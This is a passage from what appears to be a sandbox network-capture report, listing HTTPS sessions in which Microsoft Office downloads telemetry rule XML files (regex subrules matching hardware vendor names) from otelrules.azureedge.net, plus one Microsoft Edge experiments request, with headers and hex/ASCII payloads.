T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:28 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: d33f60ae-f01e-0085-74ec-2b88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073028Z-16547b76f7f8dwtrhC1DFWd1zn0000000fh0000000000f1m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:28 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:28 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: aa5efcfd-901e-0029-1aa0-34274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073028Z-15869dbbcc6b2ncxhC1DFWuw04000000010g00000000e6ag x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:28 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:28 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:28 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 0faddc02-601e-005c-51a5-34f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073028Z-17df447cdb56j5xmhC1DFWn9180000000bs0000000008xmm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:28 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:28 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: d97b6048-401e-000a-3ba6-344a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073028Z-17df447cdb5c9wvxhC1DFWn08n0000000c2g0000000024es x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:28 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:28 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: e927806a-001e-002b-31a0-3499f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073028Z-15869dbbcc6lq45jhC1DFWtecs0000000120000000006eh2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:28 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49773	94.245.104.56	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:29 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 07:30:29 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Tue, 12 Nov 2024 07:30:28 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=9f138fe40e53e241408034e8cd47d4d452b331805ff6d9018b002451153e871e;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=9f138fe40e53e241408034e8cd47d4d452b331805ff6d9018b002451153e871e;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:29 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:29 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65394723-101e-00a2-80f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073029Z-16547b76f7fx6rhxhC1DFW76kg0000000f8g000000009ywt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:29 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:30 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 0559421d-e01e-000c-5ba0-348e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073030Z-17df447cdb57g7m7hC1DFW791s0000000bng00000000a7cf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:30 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:30 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: e1bc049e-701e-003e-11a5-3479b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073030Z-15869dbbcc662ldwhC1DFWh4e000000005r0000000009xdn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:30 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:30 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: ceff4d6f-101e-007a-10c7-2c047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073030Z-16547b76f7f9bs6dhC1DFWt3rg0000000f6000000000fx0t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:30 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:30 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:30 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5d06d88c-b01e-0084-0908-2cd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073030Z-16547b76f7f9bs6dhC1DFWt3rg0000000f6000000000fx0u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:30 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:30 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:30 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: de083b16-101e-0079-14f1-2c5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073030Z-16547b76f7f9bs6dhC1DFWt3rg0000000fd00000000009vh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:31 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:31 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
